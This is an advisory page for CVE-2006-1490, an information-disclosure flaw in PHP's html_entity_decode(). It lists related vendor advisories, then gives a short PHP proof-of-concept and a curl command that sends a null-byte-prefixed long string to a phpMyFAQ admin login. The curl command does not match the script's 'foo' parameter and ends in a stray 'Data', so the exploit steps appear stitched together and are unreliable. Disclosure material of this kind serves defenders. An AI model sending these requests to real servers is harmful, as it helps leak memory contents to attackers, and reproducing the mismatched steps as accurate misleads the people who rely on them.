PHP 4.x/5.x - 'Html_Entity_Decode()' Information Disclosure
| Reporter | Title | Published | Views | Family All 36 |
|---|---|---|---|---|
 | CentOS 3 / 4 : php (CESA-2006:0276) | 3 Jul 200600:00 | – | nessus |
| Fedora Core 5 : php-5.1.4-1 (2006-289) | 17 Jan 200700:00 | – | nessus |
| GLSA-200605-08 : PHP: Multiple vulnerabilities | 13 May 200600:00 | – | nessus |
| Mandrake Linux Security Advisory : php (MDKSA-2006:063) | 4 Apr 200600:00 | – | nessus |
| PHP < 4.4.3 / 5.1.4 Multiple Vulnerabilities | 25 Aug 200600:00 | – | nessus |
| RHEL 4 : php (RHSA-2006:0276) | 26 Apr 200600:00 | – | nessus |
| SUSE-SA:2006:024: php4,php5 | 13 May 200600:00 | – | nessus |
| Ubuntu 5.04 / 5.10 / 6.06 LTS : php4, php5 vulnerabilities (USN-320-1) | 10 Nov 200700:00 | – | nessus |
 | php security update | 25 Apr 200615:25 | – | centos |
 | CVE-2006-1490 | 29 Mar 200621:00 | – | cve |
10
source: https://www.securityfocus.com/bid/17296/info
PHP 'html_entity_decode()' function is prone to an information-disclosure vulnerability. This issue arises when a script using the function accepts data from a remote untrusted source and returns the function's result to an attacker.
Information that the attacker gathers by exploiting this vulnerability may aid in other attacks.
PHP versions prior to 5.1.3-RC1 are vulnerable to this issue.
<?php
$foobar=html_entity_decode($_GET['foo']);
echo $foobar;
?>
Running it with url:
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curl "http://www.example.com/phpmyfaq/admin/index.php" -D - -d "faqusername=%00VERYLONGSTRINGHEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"Data
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